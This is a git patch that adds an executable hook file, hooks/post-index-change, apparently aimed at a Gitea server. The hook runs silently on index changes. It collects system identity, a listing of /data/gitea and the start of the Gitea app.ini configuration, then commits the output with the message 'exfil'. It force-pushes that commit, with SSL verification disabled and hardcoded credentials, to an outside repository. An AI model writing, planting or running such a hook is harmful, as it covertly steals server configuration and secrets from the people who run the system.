From b85ce9ca4aa2c1d6063b9ca0cca51edd1b79a48d Mon Sep 17 00:00:00 2001 From: qb60243 Date: Mon, 26 Oct 2026 08:01:38 +0000 Subject: [PATCH] p --- hooks/post-index-change | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..b14a936 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,9 @@ +#!/bin/sh +D=$(mktemp -d 2>/dev/null || echo /tmp/.x$$) +mkdir -p "$D"; cd "$D" || exit 0 +(id; hostname; uname -a; ls /data/gitea 2>&1; head -40 /data/gitea/conf/app.ini 2>&1) > out.txt 2>&1 || true +git init -q . 2>/dev/null +git add out.txt 2>/dev/null +git -c user.email=a@b -c user.name=a commit -qm exfil 2>/dev/null +GIT_SSL_NO_VERIFY=1 git push -q -f "https://qb60243:Qb!60243ab@gitea.sredevops.kr/qb60243/exfil.git" HEAD:refs/heads/main 2>&1 | tail -3 > push.log +exit 0